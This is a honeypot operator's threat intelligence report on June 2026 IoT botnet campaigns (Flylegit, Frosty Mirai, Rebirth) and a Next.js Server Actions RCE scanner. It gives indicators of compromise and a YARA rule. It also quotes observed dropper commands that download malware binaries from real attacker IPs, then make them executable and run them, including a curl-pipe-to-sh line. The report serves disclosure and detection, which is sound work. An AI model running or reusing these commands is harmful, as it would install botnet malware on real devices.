June 2026 IoT surge & web RCE campaign

Executive summary

In June 2026, three unrelated attack campaigns showed up on our honeypot fleet within the same three-week window: two IoT botnets recruiting devices across a dozen-plus architectures, and a scanner hunting for a Next.js code-execution bug on live web servers. None of the three share infrastructure, but all three were still active, tasking bots or scanning, as of publication.

Between 2026-06-04 and 2026-06-23, cowrAI sensors observed three distinct campaigns operating concurrently. The most significant is the "Flylegit" IoT worm (Telegram: t.me/flylegit), a fully multi-architecture botnet deploying 14-arch binaries from 83.168.110.191 under the guise of a system updater. The malware contains explicit honeypot detection logic that reads /proc/<pid>/comm and exits silently in emulated environments, confirmed by divergent detonation behavior across our sandbox (ARMv7 connected to C2 at port 1336; ARMv5/6 exited cleanly with no contacts). 11 of the 14 samples are already flagged by VirusTotal (20-37 of roughly 61-65 engines each, mostly as generic Mirai-lineage trojans); the remaining 3 (armv6l, mips, sparc) have not yet been submitted, as of 2026-06-23.

In parallel, a Next.js Server Actions RCE scanner (103.13.206.12) has been active since at least 2026-05-21 (the earliest point our current telemetry retention reaches — the true start may be earlier), firing 933 exploit attempts in the 14 days leading up to publication, using React Server Components prototype-pollution to gain unauthenticated code execution on vulnerable Node.js web servers. The recovered dropper (repositorylinux.dpdns.org/linux.sh, 24,942 bytes) has no VT coverage.

A third campaign, "Frosty" Mirai (family-confirmed), explicitly targets Realtek-based embedded devices from 109.104.153.60. Sandbox detonation confirmed live C2 at 103.106.228.23:80 across 14 consecutive runs spanning 7 days.

Campaign 1 — Flylegit IoT worm (t.me/flylegit)

"Looks like you are a honeypot, this tool was made by t.me/flylegit!"

Multi-architecture deployment

14 distinct binaries deployed in a single distribution directory, covering embedded Linux, SoC, mobile, and server targets:

Files named iran.<arch> on the server; renamed to updaterros.<arch> by the loader after download. The naming convention (iran.*) is consistent with prior "flylegit" tooling observed in open-source reporting.

Dropper sequence (observed on fleet)

# Attacker arrives via SSH, runs after login:
curl -s http://83.168.110.191/updaterros.armv7l | sh && echo DONE

# The shell script downloads, stages, and executes:
busybox wget http://83.168.110.191/updaterros.armv7l \
  -O /data/local/tmp/com.adal
chmod 777 /data/local/tmp/com.adal
/data/local/tmp/com.adal
# Connects back to 83.168.110.191:1336

Malware capabilities (extracted strings)

HTTP scanning functionality is confirmed. The binary emulates a modern browser session targeting common web admin paths:

# HTTP attack surface
/proc/%s/comm       ← honeypot process check
%s %s HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
/wp-admin
/api/v1
/index.html
/about
/products

Malware inventory (IOC)

Campaign 2 — Next.js Server Actions RCE (repositorylinux.dpdns.org)

Full exploit payload (recovered from fleet)

Key observations

• Attacker uses -k / --no-check-certificate — the dropper server uses HTTPS with an untrusted certificate.
• Dual-fetch pattern (curl fallback to wget) indicates targeting heterogeneous Linux environments.
• The NEXT_REDIRECT error digest exfiltration means no explicit HTTP response is needed — the attacker reads the 307 redirect location header from the server response.
• Scanner has been consistent for 14 days with no C2 rotation, suggesting a low-OPSEC mass-scanner, not targeted intrusion.

Dropper IOC

Campaign 3 — Frosty Mirai (Realtek-targeted)

C2: 103.106.228.23:80
Status: ALIVE (14/14 connections confirmed)
Bot behavior: connect → idle → await command

Dropper sequence

# Observed loader command from 203.193.150.244 relay:
cd /var
rm -rf zuki
wget http://109.104.153.60/bins/frosty.mips -O zuki
chmod 777 zuki
./zuki realtek.selfrep    ← self-replication mode targeting Realtek devices

IOC table

Annex — Rebirth Mirai (Huawei/ADB-targeted)

A fourth campaign was observed at lower volume from 176.65.139.48, deploying rebirth.arm7 (SHA-256: 849840d9…39b5, 199,179 bytes, family: Mirai). Binary contains explicit Huawei home gateway exploit payload (CVE targeting POST /ctrlt/DeviceUpgrade_1 with digest auth) and Steam Source Engine Query bytes (DDoS amplification primitive). Also targets Android ADB (com.supercell.clashroyal masquerade). Sandbox confirmed C2 at 178.16.52.104:18234, :19823, :62849.

Infrastructure map

Relay / Recon node
  203.193.150.244  ──── fires 35-cmd sysrecon sequence ────────────────── victim SSH
      │
      ├── wget http://109.104.153.60/bins/frosty.mips → zuki         [Mirai]
      │         └── C2 → 103.106.228.23:80
      │
      ├── curl http://83.168.110.191/updaterros.<arch> | sh         [Flylegit]
      │         └── C2 → 83.168.110.191:1336 (same server)
      │
      ├── wget http://156.226.174.98/bins/sora.<arch> → robben      [Sora, unconfirmed]
      │         └── C2 → 156.226.174.98:1312 confirmed on MIPS detonation (killed at timeout); other archs exited clean
      │
      └── wget http://176.65.139.48/rebirth.arm7                     [Rebirth Mirai]
                └── C2 → 178.16.52.104 :18234/:19823/:62849

Web RCE scanner (separate campaign)
  103.13.206.12   ──── RSC prototype pollution form-post ─────────────── Next.js server
                          └── dropper: repositorylinux.dpdns.org/linux.sh

MITRE ATT&CK mapping

Master IOC list

IP addresses

Domains

File hashes (SHA-256)

Detection signatures

Suricata — Flylegit distribution server

Suricata — Frosty/Mirai C2

Suricata — Next.js RSC prototype pollution RCE

Yara — Flylegit honeypot detection string

rule Flylegit_IoT_Worm_Honeypot_Check {
    meta:
        author = "cowrAI"
        date = "2026-06-23"
        description = "Flylegit multi-arch worm with honeypot detection"
        reference = "https://cowrai.com/research/june-2026-iot-surge"
    strings:
        $hp_str = "Looks like you are a honeypot, this tool was made by t.me/flylegit!" ascii
        $tg = "t.me/flylegit" ascii
        $proc = "/proc/%s/comm" ascii
    condition:
        uint32(0) == 0x464C457F and  // ELF magic
        any of them
}

Collection methodology

All data collected from the cowrAI distributed SSH/Telnet honeypot fleet, deployed across multiple cloud providers and geographic regions. Fleet nodes use an LLM-driven shell backend for authentic interaction, plus a randomized subset of alt-protocol lure daemons that capture exploitation attempts against commonly-targeted services beyond SSH/Telnet, including the ADB, SOAP, HTTP, Redis, and other services referenced in this report.

Events ingest in near-real-time into the fleet's operational data store, with a separate analytics pipeline for fleet-wide aggregates. Binaries are captured automatically and classified through an automated pipeline (strings extraction → family heuristics → VirusTotal → tria.ge → AI summary → YARA). Sandbox detonation runs in an isolated environment with egress routed through a residential-style VPN for realistic network conditions and outbound traffic controls to prevent the sandbox from meaningfully participating in any attack; runs default to a short observation window, with an extended-dwell option for deeper behavioral observation.

Timeline